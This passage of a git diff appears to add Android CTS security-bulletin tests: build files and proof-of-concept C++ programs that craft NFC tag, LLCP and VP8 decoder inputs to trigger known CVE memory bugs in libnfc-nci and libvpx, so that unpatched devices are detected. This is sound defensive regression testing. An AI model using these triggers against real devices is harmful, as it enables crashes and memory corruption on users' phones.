+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils",
+ ],
+ compile_multilib: "64",
+ include_dirs: [
+ "system/nfc/src/nfc/include",
+ "system/nfc/src/include/",
+ "system/nfc/src/gki/common/",
+ "system/nfc/src/gki/ulinux",
+ ],
+ shared_libs: [
+ "libnfc-nci",
+ ],
+ cflags: [
+ "-DCHECK_OVERFLOW",
+ ],
}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2012/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2012/poc.cpp
new file mode 100644
index 0000000..97556ba
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2012/poc.cpp
@@ -0,0 +1,175 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <nfc_api.h>
+#include <nfc_int.h>
+#include <rw_int.h>
+#include <stdlib.h>
+#include <string.h>
+#include <tags_defs.h>
+
+#include "../includes/common.h"
+
+#define T3T_MSG_FELICALITE_MC_OFFSET 0x01
+
+bool testInProgress = false;
+
+struct sigaction new_action, old_action;
+
+void sigsegv_handler(int signum, siginfo_t *info, void *context) {
+ if (testInProgress && info->si_signo == SIGSEGV) {
+ (*old_action.sa_sigaction)(signum, info, context);
+ return;
+ }
+ exit (EXIT_FAILURE);
+}
+
+extern tRW_CB rw_cb;
+extern tNFC_CB nfc_cb;
+tNFC_CONN *p_data;
+void rw_init(void);
+tNFC_STATUS rw_t3t_select(uint8_t peer_nfcid2[NCI_RF_F_UID_LEN],
+ uint8_t mrti_check, uint8_t mrti_update);
+
+void *allocate_memory(size_t size) {
+ void *ptr = malloc(size);
+ if (ptr) {
+ memset(ptr, 0x0, size);
+ }
+ return ptr;
+}
+
+/* States */
+enum {
+ RW_T3T_STATE_NOT_ACTIVATED, RW_T3T_STATE_IDLE, RW_T3T_STATE_COMMAND_PENDING
+};
+
+/* Enumeration of API commands */
+enum {
+ RW_T3T_CMD_DETECT_NDEF,
+ RW_T3T_CMD_CHECK_NDEF,
+ RW_T3T_CMD_UPDATE_NDEF,
+ RW_T3T_CMD_CHECK,
+ RW_T3T_CMD_UPDATE,
+ RW_T3T_CMD_SEND_RAW_FRAME,
+ RW_T3T_CMD_GET_SYSTEM_CODES,
+ RW_T3T_CMD_FORMAT,
+ RW_T3T_CMD_SET_READ_ONLY_SOFT,
+ RW_T3T_CMD_SET_READ_ONLY_HARD,
+ RW_T3T_CMD_MAX
+};
+
+/* Sub-states */
+enum {
+ /* Sub states for formatting Felica-Lite */
+ RW_T3T_FMT_SST_POLL_FELICA_LITE, /* Waiting for POLL Felica-Lite response (for
+ formatting) */
+ RW_T3T_FMT_SST_CHECK_MC_BLK, /* Waiting for Felica-Lite MC (MemoryControl)
+ block-read to complete */
+ RW_T3T_FMT_SST_UPDATE_MC_BLK, /* Waiting for Felica-Lite MC (MemoryControl)
+ block-write to complete */
+ RW_T3T_FMT_SST_UPDATE_NDEF_ATTRIB, /* Waiting for NDEF attribute block-write
+ to complete */
+ /* Sub states for setting Felica-Lite read only */
+ RW_T3T_SRO_SST_POLL_FELICA_LITE, /* Waiting for POLL Felica-Lite response (for
+ setting read only) */
+ RW_T3T_SRO_SST_UPDATE_NDEF_ATTRIB, /* Waiting for NDEF attribute block-write
+ to complete */
+ RW_T3T_SRO_SST_CHECK_MC_BLK, /* Waiting for Felica-Lite MC (MemoryControl)
+ block-read to complete */
+ RW_T3T_SRO_SST_UPDATE_MC_BLK /* Waiting for Felica-Lite MC (MemoryControl)
+ block-write to complete */
+};
+
+enum {
+ P_MC_VAL = !T3T_MSG_FELICALITE_MC_OFFSET
+};
+
+void poc_cback(tRW_EVENT event, tRW_DATA *p_rw_data) {
+ (void) event;
+ (void) p_rw_data;
+}
+
+void GKI_freebuf(void* p_buf __attribute__((unused))) {
+}
+
+void GKI_start_timer(uint8_t, int32_t, bool) {
+}
+
+void GKI_stop_timer(uint8_t) {
+}
+
+void exit_handler(void) {
+ if (p_data) {
+ if (p_data->data.p_data) {
+ free(p_data->data.p_data);
+ p_data->data.p_data = nullptr;
+ }
+ free(p_data);
+ p_data = nullptr;
+ }
+}
+
+int main() {
+ atexit(exit_handler);
+ sigemptyset(&new_action.sa_mask);
+ new_action.sa_flags = SA_SIGINFO;
+ new_action.sa_sigaction = sigsegv_handler;
+ sigaction(SIGSEGV, &new_action, &old_action);
+
+ tNFC_ACTIVATE_DEVT p_activate_params = { };
+ p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP;
+ p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A;
+ RW_SetActivatedTagType(&p_activate_params, &poc_cback);
+ FAIL_CHECK(rw_cb.p_cback == &poc_cback);
+
+ tRW_T3T_CB *p_t3t = &rw_cb.tcb.t3t;
+ GKI_init();
+ rw_init();
+
+ rw_cb.p_cback = &poc_cback;
+ uint8_t peer_nfcid2[NCI_RF_F_UID_LEN];
+ uint8_t mrti_check = 1, mrti_update = 1;
+ FAIL_CHECK(rw_t3t_select(peer_nfcid2, mrti_check, mrti_update) == NFC_STATUS_OK);
+
+ p_data = (tNFC_CONN *) allocate_memory(sizeof(tNFC_CONN));
+ FAIL_CHECK(p_data);
+
+ p_data->data.p_data = (NFC_HDR *) allocate_memory(sizeof(NFC_HDR) * 4);
+ FAIL_CHECK(p_data->data.p_data);
+
+ p_data->status = NFC_STATUS_OK;
+ p_t3t->cur_cmd = RW_T3T_CMD_FORMAT;
+ p_t3t->rw_state = RW_T3T_STATE_COMMAND_PENDING;
+ p_t3t->rw_substate = RW_T3T_FMT_SST_CHECK_MC_BLK;
+ NFC_HDR *p_msg = (p_data->data).p_data;
+ p_msg->len = T3T_MSG_RSP_COMMON_HDR_LEN;
+ uint8_t *p_t3t_rsp = (uint8_t *) (p_msg + 1) + (p_msg->offset + 1);
+ p_t3t_rsp[T3T_MSG_RSP_OFFSET_RSPCODE] = T3T_MSG_OPC_CHECK_RSP;
+ p_t3t_rsp[T3T_MSG_RSP_OFFSET_STATUS1] = T3T_MSG_RSP_STATUS_OK;
+ uint8_t *p_mc = &p_t3t_rsp[T3T_MSG_RSP_OFFSET_CHECK_DATA];
+ p_mc[T3T_MSG_FELICALITE_MC_OFFSET_SYS_OP] = P_MC_VAL;
+ tNFC_CONN_CB *p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
+ tNFC_CONN_EVT event = NFC_DATA_CEVT;
+ memcpy(p_t3t->peer_nfcid2, &p_t3t_rsp[T3T_MSG_RSP_OFFSET_IDM],
+ NCI_NFCID2_LEN);
+
+ testInProgress = true;
+ p_cb->p_cback(0, event, p_data);
+ testInProgress = false;
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2017/Android.bp
similarity index 65%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
copy to hostsidetests/securitybulletin/securityPatch/CVE-2019-2017/Android.bp
index bcbf54f..5dac7f7a 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2017/Android.bp
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -20,7 +20,19 @@
}
cc_test {
- name: "CVE-2020-29368",
+ name: "CVE-2019-2017",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
- srcs: ["poc.cpp",],
+ srcs: [
+ "poc.cpp",
+ ],
+ compile_multilib: "64",
+ shared_libs: [
+ "libnfc-nci",
+ ],
+ include_dirs: [
+ "system/nfc/src/nfc/include",
+ "system/nfc/src/gki/common",
+ "system/nfc/src/gki/ulinux",
+ "system/nfc/src/include",
+ ],
}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2017/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2017/poc.cpp
new file mode 100644
index 0000000..9ecc457
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2017/poc.cpp
@@ -0,0 +1,73 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <rw_int.h>
+#include <stdlib.h>
+#include "../includes/common.h"
+
+bool testInProgress = false;
+struct sigaction new_action, old_action;
+void sigabrt_handler(int signum, siginfo_t *info, void *context) {
+ if (testInProgress && info->si_signo == SIGABRT) {
+ (*old_action.sa_sigaction)(signum, info, context);
+ return;
+ }
+ exit(EXIT_FAILURE);
+}
+
+uint8_t *p_data = nullptr;
+extern tRW_CB rw_cb;
+
+extern void rw_t2t_handle_rsp(uint8_t *p_data);
+
+void poc_cback(uint8_t, tRW_DATA *) {}
+
+void exit_handler(void) {
+ if (p_data) {
+ free(p_data);
+ p_data = nullptr;
+ }
+}
+
+int main() {
+ atexit(exit_handler);
+ sigemptyset(&new_action.sa_mask);
+ new_action.sa_flags = SA_SIGINFO;
+ new_action.sa_sigaction = sigabrt_handler;
+ sigaction(SIGABRT, &new_action, &old_action);
+
+ tNFC_ACTIVATE_DEVT p_activate_params = {};
+ p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP;
+ p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A;
+ FAIL_CHECK(RW_SetActivatedTagType(&p_activate_params, &poc_cback) == NFC_STATUS_OK);
+ FAIL_CHECK(rw_cb.p_cback == &poc_cback);
+ tRW_T2T_CB *p_t2t = &rw_cb.tcb.t2t;
+ p_t2t->state = RW_T2T_STATE_DETECT_TLV;
+ p_t2t->tlv_detect = TAG_LOCK_CTRL_TLV;
+ p_t2t->substate = RW_T2T_SUBSTATE_WAIT_READ_TLV_VALUE;
+ p_t2t->found_tlv = TAG_LOCK_CTRL_TLV;
+ p_t2t->bytes_count = 0;
+ p_t2t->p_cur_cmd_buf = (NFC_HDR *)GKI_getpoolbuf(NFC_RW_POOL_ID);
+ rw_cb.p_cback = &poc_cback;
+ p_data = (uint8_t *)malloc(sizeof(uint8_t));
+ FAIL_CHECK(p_data);
+
+ testInProgress = true;
+ rw_t2t_handle_rsp(p_data);
+ testInProgress = false;
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2020/Android.bp
similarity index 65%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
copy to hostsidetests/securitybulletin/securityPatch/CVE-2019-2020/Android.bp
index bcbf54f..5fdbfdb 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2020/Android.bp
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -20,7 +20,19 @@
}
cc_test {
- name: "CVE-2020-29368",
+ name: "CVE-2019-2020",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
- srcs: ["poc.cpp",],
+ srcs: [
+ "poc.cpp",
+ ],
+ compile_multilib: "64",
+ shared_libs: [
+ "libnfc-nci",
+ ],
+ include_dirs: [
+ "system/nfc/src/nfc/include",
+ "system/nfc/src/gki/common",
+ "system/nfc/src/gki/ulinux",
+ "system/nfc/src/include",
+ ],
}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2020/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2020/poc.cpp
new file mode 100644
index 0000000..ba4d950
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2020/poc.cpp
@@ -0,0 +1,80 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdlib.h>
+#include "../includes/common.h"
+
+#include <nfc_api.h>
+#include <nfc_int.h>
+#include <rw_int.h>
+#include <tags_defs.h>
+#include <llcp_int.h>
+
+#define DEFAULT_SAP 1
+#define LENGTH 0
+
+bool testInProgress = false;
+
+struct sigaction new_action, old_action;
+
+void sigsegv_handler(int signum, siginfo_t *info, void *context) {
+ if (testInProgress && info->si_signo == SIGSEGV) {
+ (*old_action.sa_sigaction)(signum, info, context);
+ return;
+ }
+ exit(EXIT_FAILURE);
+}
+
+extern tLLCP_CB llcp_cb;
+extern tRW_CB rw_cb;
+extern tNFC_CB nfc_cb;
+
+void GKI_freebuf(void* x) { (void)x; }
+void GKI_start_timer(uint8_t, int32_t, bool) {}
+void GKI_stop_timer(uint8_t) {}
+
+void poc_cback(tRW_EVENT event, tRW_DATA* p_rw_data) {
+ (void)event;
+ (void)p_rw_data;
+}
+
+int32_t main() {
+ sigemptyset(&new_action.sa_mask);
+ new_action.sa_flags = SA_SIGINFO;
+ new_action.sa_sigaction = sigsegv_handler;
+ sigaction(SIGSEGV, &new_action, &old_action);
+
+ tNFC_ACTIVATE_DEVT p_activate_params = {};
+ p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP;
+ p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A;
+ RW_SetActivatedTagType(&p_activate_params, &poc_cback);
+ FAIL_CHECK(rw_cb.p_cback == &poc_cback);
+
+ GKI_init();
+ llcp_init();
+ for (int32_t n = 0; n < LLCP_MAX_DATA_LINK; ++n) {
+ llcp_cb.dlcb[n].state = LLCP_DLC_STATE_CONNECTED;
+ llcp_cb.dlcb[n].local_sap = DEFAULT_SAP;
+ llcp_cb.dlcb[n].remote_sap = DEFAULT_SAP;
+ }
+
+ testInProgress = true;
+ llcp_dlc_proc_rx_pdu(DEFAULT_SAP, LLCP_PDU_RNR_TYPE, DEFAULT_SAP, LENGTH,
+ nullptr);
+ testInProgress = false;
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2031/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2031/Android.bp
new file mode 100644
index 0000000..639ca91
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2031/Android.bp
@@ -0,0 +1,44 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+ name: "CVE-2019-2031",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils",
+ ],
+ compile_multilib: "64",
+ shared_libs: [
+ "libnfc-nci",
+ "liblog",
+ ],
+ include_dirs: [
+ "system/nfc/src/nfc/include",
+ "system/nfc/src/gki/common",
+ "system/nfc/src/gki/ulinux",
+ "system/nfc/src/include",
+ "system/nfc/src/nfa/include",
+ ],
+ cflags: [
+ "-DCHECK_OVERFLOW",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2031/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2031/poc.cpp
new file mode 100644
index 0000000..1781237
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2031/poc.cpp
@@ -0,0 +1,176 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "../includes/common.h"
+#include <nfc_api.h>
+#include <nfc_int.h>
+#include <rw_int.h>
+#include <stdlib.h>
+#include <string.h>
+#include <tags_defs.h>
+
+#define T3T_MSG_FELICALITE_MC_OFFSET 0x01
+
+bool testInProgress = false;
+
+struct sigaction new_action, old_action;
+
+void sigabrt_handler(int signum, siginfo_t *info, void *context) {
+ if (testInProgress && info->si_signo == SIGABRT) {
+ (*old_action.sa_sigaction)(signum, info, context);
+ return;
+ }
+ exit(EXIT_FAILURE);
+}
+
+extern tRW_CB rw_cb;
+extern tNFC_CB nfc_cb;
+tNFC_CONN *p_data;
+void rw_init(void);
+tNFC_STATUS rw_t3t_select(uint8_t peer_nfcid2[NCI_RF_F_UID_LEN],
+ uint8_t mrti_check, uint8_t mrti_update);
+
+void *allocate_memory(size_t size) {
+ void *ptr = malloc(size);
+ memset(ptr, 0x0, size);
+ return ptr;
+}
+
+/* States */
+enum {
+ RW_T3T_STATE_NOT_ACTIVATED,
+ RW_T3T_STATE_IDLE,
+ RW_T3T_STATE_COMMAND_PENDING
+};
+
+/* Enumeration of API commands */
+enum {
+ RW_T3T_CMD_DETECT_NDEF,
+ RW_T3T_CMD_CHECK_NDEF,
+ RW_T3T_CMD_UPDATE_NDEF,
+ RW_T3T_CMD_CHECK,
+ RW_T3T_CMD_UPDATE,
+ RW_T3T_CMD_SEND_RAW_FRAME,
+ RW_T3T_CMD_GET_SYSTEM_CODES,
+ RW_T3T_CMD_FORMAT,
+ RW_T3T_CMD_SET_READ_ONLY_SOFT,
+ RW_T3T_CMD_SET_READ_ONLY_HARD,
+ RW_T3T_CMD_MAX
+};
+
+/* Sub-states */
+enum {
+ /* Sub states for formatting Felica-Lite */
+ RW_T3T_FMT_SST_POLL_FELICA_LITE, /* Waiting for POLL Felica-Lite response (for
+ formatting) */
+ RW_T3T_FMT_SST_CHECK_MC_BLK, /* Waiting for Felica-Lite MC (MemoryControl)
+ block-read to complete */
+ RW_T3T_FMT_SST_UPDATE_MC_BLK, /* Waiting for Felica-Lite MC (MemoryControl)
+ block-write to complete */
+ RW_T3T_FMT_SST_UPDATE_NDEF_ATTRIB, /* Waiting for NDEF attribute block-write
+ to complete */
+
+ /* Sub states for setting Felica-Lite read only */
+ RW_T3T_SRO_SST_POLL_FELICA_LITE, /* Waiting for POLL Felica-Lite response (for
+ setting read only) */
+ RW_T3T_SRO_SST_UPDATE_NDEF_ATTRIB, /* Waiting for NDEF attribute block-write
+ to complete */
+ RW_T3T_SRO_SST_CHECK_MC_BLK, /* Waiting for Felica-Lite MC (MemoryControl)
+ block-read to complete */
+ RW_T3T_SRO_SST_UPDATE_MC_BLK /* Waiting for Felica-Lite MC (MemoryControl)
+ block-write to complete */
+};
+
+void poc_cback(tRW_EVENT event, tRW_DATA *p_rw_data) {
+ (void)event;
+ (void)p_rw_data;
+}
+
+void GKI_start_timer(uint8_t, int32_t, bool) {}
+
+void GKI_stop_timer(uint8_t) {}
+
+void GKI_freebuf(void *) {}
+
+void exit_handler(void) {
+ if (p_data) {
+ if (p_data->data.p_data) {
+ free(p_data->data.p_data);
+ p_data->data.p_data = nullptr;
+ }
+ free(p_data);
+ p_data = nullptr;
+ }
+}
+
+int main() {
+ atexit(exit_handler);
+ sigemptyset(&new_action.sa_mask);
+ new_action.sa_flags = SA_SIGINFO;
+ new_action.sa_sigaction = sigabrt_handler;
+ sigaction(SIGABRT, &new_action, &old_action);
+
+ tNFC_ACTIVATE_DEVT p_activate_params = {};
+ p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP;
+ p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A;
+ RW_SetActivatedTagType(&p_activate_params, &poc_cback);
+ FAIL_CHECK(rw_cb.p_cback == &poc_cback);
+
+ tRW_T3T_CB *p_t3t = &rw_cb.tcb.t3t;
+
+ GKI_init();
+ rw_init();
+ rw_cb.p_cback = &poc_cback;
+
+ uint8_t peer_nfcid2[NCI_RF_F_UID_LEN];
+ uint8_t mrti_check = 1, mrti_update = 1;
+ FAIL_CHECK(rw_t3t_select(peer_nfcid2, mrti_check, mrti_update) ==
+ NFC_STATUS_OK)
+
+ p_data = (tNFC_CONN *)allocate_memory(sizeof(tNFC_CONN));
+ FAIL_CHECK(p_data);
+
+ p_data->data.p_data = (NFC_HDR *)allocate_memory(sizeof(NFC_HDR) * 3);
+ FAIL_CHECK(p_data->data.p_data);
+
+ p_data->status = NFC_STATUS_OK;
+
+ p_t3t->cur_cmd = RW_T3T_CMD_CHECK_NDEF;
+ p_t3t->rw_state = RW_T3T_STATE_COMMAND_PENDING;
+ p_t3t->flags |= RW_T3T_FL_IS_FINAL_NDEF_SEGMENT;
+ p_t3t->ndef_attrib.ln = 0x000F;
+
+ NFC_HDR *p_msg = (p_data->data).p_data;
+ p_msg->offset = 0;
+ p_msg->len = T3T_MSG_RSP_OFFSET_CHECK_DATA + 1;
+
+ uint8_t *p_t3t_rsp = (uint8_t *)(p_msg + 1) + p_msg->offset;
+ p_t3t_rsp[0] = NCI_STATUS_OK;
+ p_t3t_rsp++;
+ p_t3t_rsp[T3T_MSG_RSP_OFFSET_RSPCODE] = T3T_MSG_OPC_CHECK_RSP;
+ p_t3t_rsp[T3T_MSG_RSP_OFFSET_STATUS1] = T3T_MSG_RSP_STATUS_OK;
+ p_t3t_rsp[T3T_MSG_RSP_OFFSET_NUMBLOCKS] = 0;
+
+ tNFC_CONN_CB *p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
+ tNFC_CONN_EVT event = NFC_DATA_CEVT;
+ memcpy(p_t3t->peer_nfcid2, &p_t3t_rsp[T3T_MSG_RSP_OFFSET_IDM],
+ NCI_NFCID2_LEN);
+ testInProgress = true;
+ p_cb->p_cback(0, event, p_data);
+ testInProgress = false;
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0034/Android.bp
similarity index 62%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
copy to hostsidetests/securitybulletin/securityPatch/CVE-2020-0034/Android.bp
index bcbf54f..aa9a2f9 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0034/Android.bp
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -20,7 +20,23 @@
}
cc_test {
- name: "CVE-2020-29368",
+ name: "CVE-2020-0034",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
- srcs: ["poc.cpp",],
+ srcs: [
+ "poc.cpp",
+ ],
+ compile_multilib: "32",
+ arch: {
+ arm: {
+ include_dirs: [
+ "external/libvpx/config/arm-neon",
+ ],
+ shared_libs: [
+ "libvpx",
+ ],
+ cflags: [
+ "-DTEST_ARM32",
+ ],
+ },
+ },
}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0034/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0034/poc.cpp
new file mode 100644
index 0000000..cc7cc22
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0034/poc.cpp
@@ -0,0 +1,109 @@
+/**
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <stdlib.h>
+
+#ifdef TEST_ARM32
+#include <unistd.h>
+#include "../includes/common.h"
+
+#include <string.h>
+#include <algorithm>
+#include <vector>
+#include "vpx/vp8dx.h"
+#include "vpx/vpx_decoder.h"
+#include "vpx_ports/mem_ops.h"
+
+#define IVF_FILE_HDR_SZ 32
+#define IVF_FRAME_HDR_SZ (4 + 8) /* 4 byte size + 8 byte timestamp */
+
+FILE *fp = nullptr;
+
+void exitHandler(void) {
+ if (fp) {
+ fclose(fp);
+ }
+}
+
+bool testInProgress = false;
+struct sigaction new_action, old_action;
+void sigabrt_handler(int32_t signum, siginfo_t *info, void* context) {
+ if (testInProgress && info->si_signo == SIGABRT) {
+ (*old_action.sa_sigaction)(signum, info, context);
+ return;
+ }
+ _exit(EXIT_FAILURE);
+}
+#endif
+
+int32_t main(int32_t argc, char **argv) {
+ (void)argc;
+ (void)argv;
+
+#ifdef TEST_ARM32
+ atexit(exitHandler);
+
+ sigemptyset(&new_action.sa_mask);
+ new_action.sa_flags = SA_SIGINFO;
+ new_action.sa_sigaction = sigabrt_handler;
+ sigaction(SIGABRT, &new_action, &old_action);
+
+ FAIL_CHECK(argc >= 2);
+ fp = fopen(argv[1], "rb");
+ FAIL_CHECK(fp);
+
+ fseek(fp, 0, SEEK_END);
+ size_t size = ftell(fp);
+ fseek(fp, 0, SEEK_SET);
+ FAIL_CHECK(size > IVF_FILE_HDR_SZ);
+
+ std::vector<uint8_t> buffer(size);
+ FAIL_CHECK(fread((void *)buffer.data(), sizeof(uint8_t), size, fp) == size);
+
+ vpx_codec_ctx_t codec;
+ vpx_codec_dec_cfg_t cfg;
+ memset(&cfg, 0, sizeof(vpx_codec_dec_cfg_t));
+ cfg.threads = 1;
+ FAIL_CHECK(vpx_codec_dec_init(&codec, &vpx_codec_vp8_dx_algo, &cfg, 0) == VPX_CODEC_OK);
+
+ uint8_t *data = buffer.data();
+ data += IVF_FILE_HDR_SZ;
+ size -= IVF_FILE_HDR_SZ;
+
+ while (size > IVF_FRAME_HDR_SZ) {
+ size_t frame_size = mem_get_le32(data);
+ size -= IVF_FRAME_HDR_SZ;
+ data += IVF_FRAME_HDR_SZ;
+ frame_size = std::min(size, frame_size);
+
+ testInProgress = true;
+ vpx_codec_decode(&codec, data, frame_size, nullptr, 0);
+ testInProgress = false;
+
+ vpx_codec_iter_t iter = nullptr;
+ vpx_image_t *img = nullptr;
+ while ((img = vpx_codec_get_frame(&codec, &iter)) != nullptr) {
+ if (img->d_w > img->w || img->d_h > img->h) {
+ return EXIT_VULNERABLE;
+ }
+ }
+ data += frame_size;
+ size -= frame_size;
+ }
+ vpx_codec_destroy(&codec);
+#endif
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/Android.bp
index 807b9106..2a5682f 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/Android.bp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/Android.bp
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -14,6 +14,7 @@
* limitations under the License.
*
*/
+
package {
default_applicable_licenses: ["Android-Apache-2.0"],
}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/poc.cpp
index d6ea446..8249c0c 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/poc.cpp
@@ -19,6 +19,16 @@
#include <nfc_api.h>
#include <rw_int.h>
+bool isTestInProgress = false;
+struct sigaction new_action, old_action;
+void sigabrt_handler(int signum, siginfo_t* info, void* context) {
+ if (isTestInProgress && info->si_signo == SIGABRT) {
+ (*old_action.sa_sigaction)(signum, info, context);
+ return;
+ }
+ exit(EXIT_FAILURE);
+}
+
